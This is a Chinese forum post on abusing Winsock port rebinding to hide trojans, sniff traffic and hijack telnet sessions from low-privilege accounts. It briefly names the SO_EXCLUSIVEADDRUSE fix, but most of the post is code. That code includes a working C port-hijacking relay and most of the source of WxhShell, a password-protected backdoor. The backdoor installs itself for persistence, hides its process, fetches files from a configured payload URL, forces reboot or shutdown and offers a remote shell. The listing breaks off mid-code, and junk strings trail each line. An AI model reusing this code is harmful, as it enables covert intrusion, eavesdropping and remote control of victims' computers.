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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +UB+. 5P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x=gZ7$?A  
ma?$@ ]`k  
  saddr.sin_family = AF_INET; r. =_=V/t  
lmgMR|v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T[*=7jnJQ  
X2/ `EN\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s+$l.aIO!  
%HpTQ   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fOF02WP^  
1Hp0,R}  
  这意味着什么?意味着可以进行如下的攻击: <{JHFU`^  
A !x" *  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ym{?vY h  
.YKQ6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m&EwX ^1-  
s-J>(|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >x eKO 2o  
p3qlVE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4hr;k0sD  
#swzZyM$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3#j%F  
W -8<sv$b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {;=I69 X  
uL1e?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]4@_KKP  
1}}.e^Tsfr  
  #include D N GNc  
  #include kzMCI)>"  
  #include |.0/~Xy-  
  #include    2X&~!%-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V#'sH  
  int main() -"UK NB!  
  { <}L`d(E@f  
  WORD wVersionRequested; k:nr!Y<  
  DWORD ret; D: NBb!   
  WSADATA wsaData; MLG%+@\  
  BOOL val; 4w}\2&=  
  SOCKADDR_IN saddr; cAogz/<S  
  SOCKADDR_IN scaddr; z AacX@  
  int err; DyD#4J)E  
  SOCKET s; E;fYL]j/oZ  
  SOCKET sc; Hl8-1M$&  
  int caddsize; !vHnMY~AG  
  HANDLE mt; <=l!~~%  
  DWORD tid;   qH: ` O%,  
  wVersionRequested = MAKEWORD( 2, 2 ); \f}S Hh  
  err = WSAStartup( wVersionRequested, &wsaData ); &HNJ '  
  if ( err != 0 ) { wWKC.N  
  printf("error!WSAStartup failed!\n"); }5z6b>EI9a  
  return -1; - /]ro8V$  
  } .9#4qoM'  
  saddr.sin_family = AF_INET; )O#]Wvr  
   (_^g:>)Cs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hc4<`W{  
b'pbf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RFU(wek  
  saddr.sin_port = htons(23); YR@@:n'TP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Thr74M  
  { ;EP7q[  
  printf("error!socket failed!\n"); J^R))R=  
  return -1; x$Ko|:-  
  } $]<CC`  
  val = TRUE; Mc#uWmc 7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W/<]mm~95  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dE7 kd=.o  
  { [=z1~dXKb  
  printf("error!setsockopt failed!\n"); DN2K4%cM%'  
  return -1; y\$B9KX  
  } ~}q"M[{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N)K};yMf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >Vy=5)/i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o3P`y:&  
Qr Dzf e[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kn SXygT  
  { QXY-?0RO#  
  ret=GetLastError(); ]tA39JK-i  
  printf("error!bind failed!\n"); 1mm/Ssw:C  
  return -1; \bw71( Q  
  } PspH[db  
  listen(s,2); zmQ V6o=k  
  while(1) \K.i8f,  
  { 2f9~:.NgF  
  caddsize = sizeof(scaddr); 'S@%  
  //接受连接请求 }{[H@uhjH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FbO-K-  
  if(sc!=INVALID_SOCKET) $Q{)AN;m  
  { +Pd&YfU9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _A|1_^[G(  
  if(mt==NULL) z6#N f,  
  { eS8tsI  
  printf("Thread Creat Failed!\n"); z9}rT<hy  
  break; LzB)o\a  
  } ]:(>r&'  
  } :WIbjI=  
  CloseHandle(mt); !MS z%QcO  
  } =24)`Lyb  
  closesocket(s);  TOdH  
  WSACleanup(); A)Wp W M  
  return 0; "#z4  
  }   -l+ &Bkf  
  DWORD WINAPI ClientThread(LPVOID lpParam) VI,z7 \  
  { C18pK8-  
  SOCKET ss = (SOCKET)lpParam; i;;CU9`E2q  
  SOCKET sc; dE!{=u(!i  
  unsigned char buf[4096]; B(w k $2  
  SOCKADDR_IN saddr; ;2q;RT`h  
  long num; M p:c.  
  DWORD val; M8X*fYn  
  DWORD ret; /tM<ois*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5gARGA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4Z)`kS} =]  
  saddr.sin_family = AF_INET; $6}siU7s4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8+{WH/}y8  
  saddr.sin_port = htons(23); }`&#{>]2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UeV2`zIg`  
  { hSSF]  
  printf("error!socket failed!\n"); B;XFPQ#b  
  return -1; x.qn$?3V]  
  } ?`V%[~4_I  
  val = 100; XL c&7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zuUf:%k}I  
  { D{'x7!5r  
  ret = GetLastError(); d!7cIYVZ  
  return -1; KT~J@];Fb  
  } %Ez%pT0TQ#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S!A)kK+  
  { z=<x.F  
  ret = GetLastError(); `=Pn{JaD  
  return -1; "(5A 5>  
  } xfCq;?MupW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FKY|xG9  
  { Yxz(g]  
  printf("error!socket connect failed!\n"); (2(I|O#  
  closesocket(sc); htk5\^(X  
  closesocket(ss); #x$.  
  return -1; o)F^0t  
  } 8~AO~  
  while(1) $J"}7+  
  { "P\k_-a'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y,I0o{,g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jJdw\`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7].tt  
  num = recv(ss,buf,4096,0); a9 7A{7I&  
  if(num>0) \g< M\3f  
  send(sc,buf,num,0); C9`#57Pp  
  else if(num==0) B;9X{"  
  break; s`GwRH<#  
  num = recv(sc,buf,4096,0); *2N$l>ql:k  
  if(num>0) \gaGTc2&  
  send(ss,buf,num,0); %>`0hk88  
  else if(num==0) YQe9g>G&  
  break; Rd|};-  
  } GV#"2{t j  
  closesocket(ss); sCU<1=   
  closesocket(sc); u'M \m7  
  return 0 ; =Y#)c]`  
  } %$ |=_K)Ks  
}+G6`Zd  
5 BR9f3}  
========================================================== gfG Mu0FjB  
)D_#  
下边附上一个代码,,WXhSHELL ,!_$A}@0 ^  
f?kA,!  
========================================================== _Z z" `  
VeeQmR?u-  
#include "stdafx.h" Tu95qL~^  
W(a31d  
#include <stdio.h> `VY -3  
#include <string.h> bDVz+*bU}  
#include <windows.h> Eh&*"&fHR  
#include <winsock2.h> 0G ^73Z  
#include <winsvc.h> |S[Gg  
#include <urlmon.h> E9TWLB5A)(  
P,lKa.  
#pragma comment (lib, "Ws2_32.lib") *t.L` G  
#pragma comment (lib, "urlmon.lib") S]mXfB(mh  
fBBNP)  
#define MAX_USER   100 // 最大客户端连接数 7.-Q9xv  
#define BUF_SOCK   200 // sock buffer f{MXH&d 1\  
#define KEY_BUFF   255 // 输入 buffer ,<s'/8Ik  
[t/7hx"2t  
#define REBOOT     0   // 重启 :td6Mywl  
#define SHUTDOWN   1   // 关机 %Ez=  
Q$Qs$  
#define DEF_PORT   5000 // 监听端口  "_t2R &A  
IoWh&(+KdH  
#define REG_LEN     16   // 注册表键长度 `wz@l:e  
#define SVC_LEN     80   // NT服务名长度 .<5 66g}VP  
BC0SSR@e  
// 从dll定义API oV"#1lp*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H!mNHY_fA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kbS+ 3#+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ua[ d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZZk6 @C  
kSoa '  
// wxhshell配置信息 }bIbMEMn  
struct WSCFG { ee}&~%  
  int ws_port;         // 监听端口 hbdq'2!Qr  
  char ws_passstr[REG_LEN]; // 口令 89ivyv;]U  
  int ws_autoins;       // 安装标记, 1=yes 0=no dlkxA^  
  char ws_regname[REG_LEN]; // 注册表键名 },G6IuH%  
  char ws_svcname[REG_LEN]; // 服务名 D]n9+!Ec1f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W,dqk=n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 de{@u<Y Zb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ``KimeA~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'oSs5lW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k/bY>FY2r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MebL Y $&8  
F_0vh;Jo  
}; &6 .r=,BO  
uz-O%R-  
// default Wxhshell configuration jx B  
struct WSCFG wscfg={DEF_PORT, :H($|$\h  
    "xuhuanlingzhe", 7(c7-  
    1, >8h14uCk  
    "Wxhshell", Z9TmX A@  
    "Wxhshell", 9NXf~-V-  
            "WxhShell Service", 2k}~"!e1  
    "Wrsky Windows CmdShell Service", yop,%Fe  
    "Please Input Your Password: ", | LdDL953  
  1, zMlW)NB'  
  "http://www.wrsky.com/wxhshell.exe", 2VO bj7F  
  "Wxhshell.exe" ? IgM=@  
    }; %GS^=Qr  
vt)u`/u  
// 消息定义模块 <^>O<P:v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,S QmQ6h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2\Bt~;EIx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bV c"'RQ  
char *msg_ws_ext="\n\rExit."; &L6xagR7M  
char *msg_ws_end="\n\rQuit."; FVw;`{  
char *msg_ws_boot="\n\rReboot..."; g2Pa-}{  
char *msg_ws_poff="\n\rShutdown..."; ~nO]R   
char *msg_ws_down="\n\rSave to "; %6Wv-:LY  
O6JH)Ka"S  
char *msg_ws_err="\n\rErr!"; <NRW^#g<x  
char *msg_ws_ok="\n\rOK!"; P X/{  
5WJof`M  
char ExeFile[MAX_PATH]; +b@KS"3h  
int nUser = 0; PNVYW?l  
HANDLE handles[MAX_USER]; anLSD/'4W  
int OsIsNt; b5WtL+Z  
4rkj$  
SERVICE_STATUS       serviceStatus; w0W9N%f#=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NQb!?w  
"Z xM,kI  
// 函数声明 *^agwQ`  
int Install(void); YI[y/~!  
int Uninstall(void); S ?v^/F  
int DownloadFile(char *sURL, SOCKET wsh); xZ2^lsY  
int Boot(int flag); ~Q<h,P  
void HideProc(void); +<qmVW^X  
int GetOsVer(void); P]V/<8o.53  
int Wxhshell(SOCKET wsl); YT:])[gVV  
void TalkWithClient(void *cs); q6E8^7RtS@  
int CmdShell(SOCKET sock); 7bcl^~lY  
int StartFromService(void); , c3gW2E  
int StartWxhshell(LPSTR lpCmdLine); ^\|Hz\"*  
D9.H<.|36  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -<e8\Z`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TNgf96) y  
X{2))t%  
// 数据结构和表定义 r(qAe{  
SERVICE_TABLE_ENTRY DispatchTable[] = d3% 1 P)  
{ E1'| ;}/  
{wscfg.ws_svcname, NTServiceMain}, k)l*L1Y4:  
{NULL, NULL} $:&?!>H  
}; "^?|=sQ  
U9N1 )3/u  
// 自我安装 p\xi5z  
int Install(void) `2}H$D  
{ /m#!<t7  
  char svExeFile[MAX_PATH]; u~ %xU~v  
  HKEY key; C8^=7H EB  
  strcpy(svExeFile,ExeFile); `{1` >5  
kl4u]MyL#  
// 如果是win9x系统,修改注册表设为自启动 tzl`|UwF  
if(!OsIsNt) { #s"|8#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AH?T}t2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T2Duz,  
  RegCloseKey(key); 5Z (1&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gie.K1@|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VE_%/Fs,  
  RegCloseKey(key); LHy-y%?i  
  return 0; X0G Mly  
    } fK-tvP0}*  
  } lawjGI  
} R 2.y=P8N  
else { XLG6f(B=F  
{~cG'S Y%  
// 如果是NT以上系统,安装为系统服务 W=Y?_Oz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -s ]  
if (schSCManager!=0) JQ9JWu%a  
{ "l83O8 L  
  SC_HANDLE schService = CreateService 2y_R05O0  
  ( ykq9]Xqhv  
  schSCManager, >$^v@jf  
  wscfg.ws_svcname, =^nb-9.  
  wscfg.ws_svcdisp, e G8Zn<:s  
  SERVICE_ALL_ACCESS, s> d /9 b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X9:4oMux7  
  SERVICE_AUTO_START, g7>p,  
  SERVICE_ERROR_NORMAL, p xj}%LH  
  svExeFile, s#f6qj  
  NULL, 7*{9 2_M  
  NULL, H2EKr#(  
  NULL, ]J`yh$a  
  NULL, o>3g<- ul  
  NULL #HgXTC  
  ); IiX`l6L~W  
  if (schService!=0) ^ W/,Z`  
  { FrPpRe%!  
  CloseServiceHandle(schService); l~cT]Ep  
  CloseServiceHandle(schSCManager); %Fb4   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /3]b!lFZZ  
  strcat(svExeFile,wscfg.ws_svcname); jGp|:!'w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .JkcCEe{G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D7'P^*4_B  
  RegCloseKey(key); ^;KL`  
  return 0;  (C1@f!Z  
    } >pS @;t'  
  } +y}4^3Vx^  
  CloseServiceHandle(schSCManager); `#v(MK{9+V  
} EUVB>%P  
} !21#NCw  
{9 PeBc  
return 1; gy%/zbZx  
} M@R_t(&=   
x37pj)i/  
// 自我卸载 Py}`k1t*f  
int Uninstall(void) xt{f+c@P  
{ k3:8T#N>!O  
  HKEY key; NZj_7j|o9  
h[Hn*g  
if(!OsIsNt) { bU(H2Fv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $}9.4` F>  
  RegDeleteValue(key,wscfg.ws_regname); K5oVB,z)  
  RegCloseKey(key); tks3xS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g%Yw Dr=0t  
  RegDeleteValue(key,wscfg.ws_regname); =K#12TRf  
  RegCloseKey(key); 9)_fH6r  
  return 0; b[mAkm?9+1  
  } ZO^Y9\L  
} zmREzP#X  
} O@n1E'S/  
else { ao@"j}c  
.H.#W1`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e~wuoE:M3  
if (schSCManager!=0) d;Uzl 1;  
{ pO2Y'1*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aP%& -W$D|  
  if (schService!=0) jl!rCOLt4  
  { @D<KG  
  if(DeleteService(schService)!=0) { e-}b]\  
  CloseServiceHandle(schService); i]qVT)j  
  CloseServiceHandle(schSCManager); |C MKY  
  return 0; wZ^ 7#yX>  
  } Hg~O0p}[  
  CloseServiceHandle(schService); <G5d{rKZ  
  } . q=sC?D  
  CloseServiceHandle(schSCManager); /1h 0 l;  
} 6" s}<  
} zsQhydTR  
7DG{|%\HF  
return 1; "F,d}3}  
} (k@%04c  
w]BZgF.  
// 从指定url下载文件 ,+iREh;  
int DownloadFile(char *sURL, SOCKET wsh) L`fDc  
{ m' LRP:9v  
  HRESULT hr; @kq~q;F  
char seps[]= "/"; ~ jR:oN  
char *token; ` 0YI?$G1  
char *file; FG?69b>  
char myURL[MAX_PATH]; RV*7?y%3  
char myFILE[MAX_PATH]; JZCRu_M>|  
71nI`.Z  
strcpy(myURL,sURL); W6b5elH@  
  token=strtok(myURL,seps); 4h|48</  
  while(token!=NULL) ]3+xJz~=  
  { j'z}m+_?  
    file=token; 5CSihw/5  
  token=strtok(NULL,seps); -Qt>yzD3  
  } Z#n!=k TTm  
}~Am{Er <l  
GetCurrentDirectory(MAX_PATH,myFILE); 8z?q4  
strcat(myFILE, "\\"); 8veYs`  
strcat(myFILE, file); ?q&*|-%)_d  
  send(wsh,myFILE,strlen(myFILE),0); E7XFt#P.  
send(wsh,"...",3,0); :d&^//9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,ZVC@P,L  
  if(hr==S_OK) nm!5L[y!0  
return 0; t-xw=&!w  
else o6FSSKM  
return 1; l'_P]@*  
Lyx \s;  
} FfDe&/,/  
*AO^oBeY  
// 系统电源模块 sCX 8  
int Boot(int flag) rA/jNX@S  
{ |@}Yady@C  
  HANDLE hToken; C+iIvRYC  
  TOKEN_PRIVILEGES tkp; :RJ=f  
5`$.GV  
  if(OsIsNt) { H#/}FoBiS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LK "47  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IX!Q X  
    tkp.PrivilegeCount = 1; g$qNK`y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;P` z ?>J:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D6 2xC5  
if(flag==REBOOT) { OygR5s +  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jIZpv|t)  
  return 0; 07zbx6:t  
} ls(lL\  
else { ~*Fbs! ;,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CS:"F) at  
  return 0; |@J:A!  
} RHV& m()Q  
  } {b|:q>Be8  
  else { RCFocOOn  
if(flag==REBOOT) { xMk0Xf'_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $6BD6\@  
  return 0; T.1*32cX  
} gFJ. p  
else { *c\:ogd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L*2YAIG  
  return 0; {Z>OAR#   
} X8TwMt  
} 8 |2QJ  
mL!)(Bb  
return 1; Q4gsOx P  
} +?xW%omy  
 ~ccwu  
// win9x进程隐藏模块 -}liG  
void HideProc(void) &N{XLg>  
{ /V66P@[>  
/65ddt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !n<vN@V*3d  
  if ( hKernel != NULL ) %R%e0|a  
  { 8pc=Oor2Tv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MGH(= w1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _z:7Dj#  
    FreeLibrary(hKernel); p[E}:kak_-  
  } [L.+N@M  
[4V{~`sF  
return; [25[c><:w"  
} }L.xt88  
LwpO_/qV  
// 获取操作系统版本 DKd:tL24&  
int GetOsVer(void) SxC   
{ Fdgu=qMm  
  OSVERSIONINFO winfo; PcXz4?Q$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S#IlWU  
  GetVersionEx(&winfo); 3},0b8};  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 58x=CN\QU  
  return 1; HZp}<7NR(7  
  else ,KXS6:1%5Y  
  return 0; )aW;w|#n  
} wS*An4%G  
t'msgC6=>u  
// 客户端句柄模块 WJefg  
int Wxhshell(SOCKET wsl) h J*2q"  
{ Lh0qB)>  
  SOCKET wsh; X.u&4SH  
  struct sockaddr_in client; ` XAlzI  
  DWORD myID; _#6_7=g@s6  
u n{LwZH  
  while(nUser<MAX_USER) _9%R U"  
{ /%E X4 W  
  int nSize=sizeof(client); 89*txYmx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RAw/Q$I  
  if(wsh==INVALID_SOCKET) return 1; idWYpU>gC  
muMb pF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZWZRG-:&H  
if(handles[nUser]==0) 5Jo><P a  
  closesocket(wsh); /U |@sw4  
else cG)i:  
  nUser++; I9xQ1WJc`  
  } 'CE3 |x\%K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ns?8N":  
~b.C[s  
  return 0; {q=(x]C  
} Wn61;kV_)  
MeD}S@H  
// 关闭 socket ?P<8Zw  
void CloseIt(SOCKET wsh) 8UH c,np  
{ QU4/hS;Ux  
closesocket(wsh); cg16|  
nUser--; qmNgEz%  
ExitThread(0); 3q{op9_T7  
} 8Z YF%  
KI* erK [d  
// 客户端请求句柄 y|sU-O2}Dl  
void TalkWithClient(void *cs) U?vG?{A  
{ T#ktC0W]h  
`zQ2 i}Uju  
  SOCKET wsh=(SOCKET)cs; TQXp9juK  
  char pwd[SVC_LEN]; drr W?U  
  char cmd[KEY_BUFF]; JQ-O=8]  
char chr[1]; s&T"/4  
int i,j; .Ux bwTup  
YVcFCl  
  while (nUser < MAX_USER) { 5](-(?k}~  
6Vr:?TI7  
if(wscfg.ws_passstr) { G/l 28yt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N~c Y~a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2~yYwX  
  //ZeroMemory(pwd,KEY_BUFF); R#D>m8&}3  
      i=0; )Sz2D[@n  
  while(i<SVC_LEN) { ${(c `X  
]r]=Q"/5  
  // 设置超时 fk*$}f  
  fd_set FdRead; !bf8 r  
  struct timeval TimeOut; t0^chlJP$  
  FD_ZERO(&FdRead); p6UPP|-S  
  FD_SET(wsh,&FdRead); qnFi./  
  TimeOut.tv_sec=8; ii< /!B(  
  TimeOut.tv_usec=0; PVK. %y9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wH?r522`c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8G GC)2  
0A]+9@W;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =6PTT$,  
  pwd=chr[0]; _J|cJ %F>%  
  if(chr[0]==0xd || chr[0]==0xa) { {KH!PAh  
  pwd=0; KwEyMR!  
  break; yeI((2L@E2  
  } Qn=#KS8=J  
  i++; eSAB :L,K  
    } A6ar@$MZ  
!CJh6X !  
  // 如果是非法用户,关闭 socket B,2oA]W"S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mmN!=mf*  
} ;nzzt~aCC  
],!7S"{97  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0a1Vj56{)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #*J+4a w3  
2u B66i  
while(1) { `$kKTc:f  
@51!vQwqR  
  ZeroMemory(cmd,KEY_BUFF); #Cj$;q{!  
P4h^_*d  
      // 自动支持客户端 telnet标准   [I XX#^F  
  j=0; K<BS%~,I  
  while(j<KEY_BUFF) { vdhwFp~Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WF'Di4   
  cmd[j]=chr[0]; 8-f2$  
  if(chr[0]==0xa || chr[0]==0xd) { m+jW+  
  cmd[j]=0; Cf~H9  
  break; TGSUbBgU  
  } #kmZS/"  
  j++; N;\G=q] 9  
    } Iu3*`H  
F<W`zQ46  
  // 下载文件 :6N'%LKK  
  if(strstr(cmd,"http://")) { h'QEwW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y<r@zb9  
  if(DownloadFile(cmd,wsh)) k&<cFZU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); be@\5  
  else \J)ffEKIp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A2C|YmHk  
  } }DCR(p rD  
  else { 58vq5j<V  
4u!<3-3Zy  
    switch(cmd[0]) { <@+>A$~0  
  }3^b1D>2O  
  // 帮助 G1 :*F8q  
  case '?': { {[ E7Cf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;usv/8  
    break; Y6&B%t<bo  
  } zi7>!#(  
  // 安装 ,JL Y oE+  
  case 'i': { E#5$O2b#  
    if(Install()) Rt%3\?rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0SP  
    else @c >a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 49e~/YY  
    break; _0razNk  
    } o%~PWA*Qp  
  // 卸载 (toN? ?r  
  case 'r': { @,=E[c 8  
    if(Uninstall()) ?;q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y{Yp N  
    else vX9B^W||x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #]g9O?0$  
    break; &efwfnG<  
    } J2va Kl  
  // 显示 wxhshell 所在路径 ]j^V5y"  
  case 'p': { 2 c%*u {=:  
    char svExeFile[MAX_PATH]; .q!U@}k.  
    strcpy(svExeFile,"\n\r"); AV t(e6H  
      strcat(svExeFile,ExeFile); WNE=|z#|  
        send(wsh,svExeFile,strlen(svExeFile),0); \[!k`6#t7  
    break; <`rl[C{  
    } r )pg9}+  
  // 重启 w^rINPAS  
  case 'b': { h 8ND=(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {H\(H _X  
    if(Boot(REBOOT)) ulqh}Uv'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >k\lE(  
    else { &*w)/W  
    closesocket(wsh); 7yp}*b{s  
    ExitThread(0); vvsQf%  
    } a4B#?p  
    break; L,KK{o|Eq  
    } =9LeFrz  
  // 关机 Ah|,`0dw  
  case 'd': {  Z>O2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t 7(#Cuv-  
    if(Boot(SHUTDOWN)) dHAI4Yf4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88]UA  
